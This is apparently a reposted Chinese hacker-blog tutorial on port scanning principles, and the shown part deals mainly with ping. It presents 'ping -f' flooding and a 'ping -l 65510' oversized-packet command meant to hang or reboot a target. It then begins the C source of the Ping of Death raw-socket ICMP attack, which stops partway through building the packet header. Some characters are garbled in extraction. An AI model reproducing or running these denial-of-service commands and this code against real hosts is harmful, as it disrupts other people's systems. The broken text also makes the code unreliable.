2024年4月6日发(作者:)

端口扫描程序的原理

2011-04-22 12:27:08| 分类: 网络黑客技术攻防 | 标签:端口扫描程序的原理 |字

号 订阅

之前我独孤九剑一直在找关于扫描器原理的文章,现在终于给我找到了一篇,特

别是下面那个关于扫描原理的那部分,很强大。给大家分享一下啦!

一个端口就是一个潜在的通信通道,也就是一个入侵通道。对目标计算机进行端

口扫描,能得到许多有用的信息。进行扫描的方法很多,可以是手工进行扫描,也可以

用端口扫描软件进行。

在手工进行扫描时,需要熟悉各种命令。对命令执行后的输出进行分析。用扫描软件

进行扫描时,许多扫描器软件都有分析数据的功能。

通过端口扫描,可以得到许多有用的信息,从而发现系统的安全漏洞。

下面首先介绍几个常用网络命令,对端口扫描原理进行介绍,然后提供一个简单的扫

描程序。

第一节 几个常用网络相关命令

Ping命令经常用来对TCP/IP网络进行诊断。通过目标计算机发送一个数据包,让它

将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING

命令成功了。通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数

据包从发送到返回需要多少时间。

Ping命令的基本格式:

ping hostname

其中hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。

C:> ping -f

这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95

的计算机上,使用下面的方法:

c:windowsping -l 65510 saddam_hussein'

这样做了之后,目标计算机有可能会挂起来,或从新启动。由于 -l 65510 产生一个

巨大的数据包。由于要求返回一个同样的数据包,会使目标计算机反应不过来。

在Linux计算机上,可以编写一个程序来实现上述方法。

#include < stdio.h>

#include < sys/types.h>

#include < sys/socket.h>

#include < netdb.h>

#include < netinet/in.h>

#include < netinet/in_systm.h>

#include < netinet/ip.h>

#include < netinet/ip_icmp.h>

/*

* If your kernel doesn't muck with raw packets, #define REALLY_RAW.

* This is probably only Linux.

*/

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostnamen", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown hostn", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %sn", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;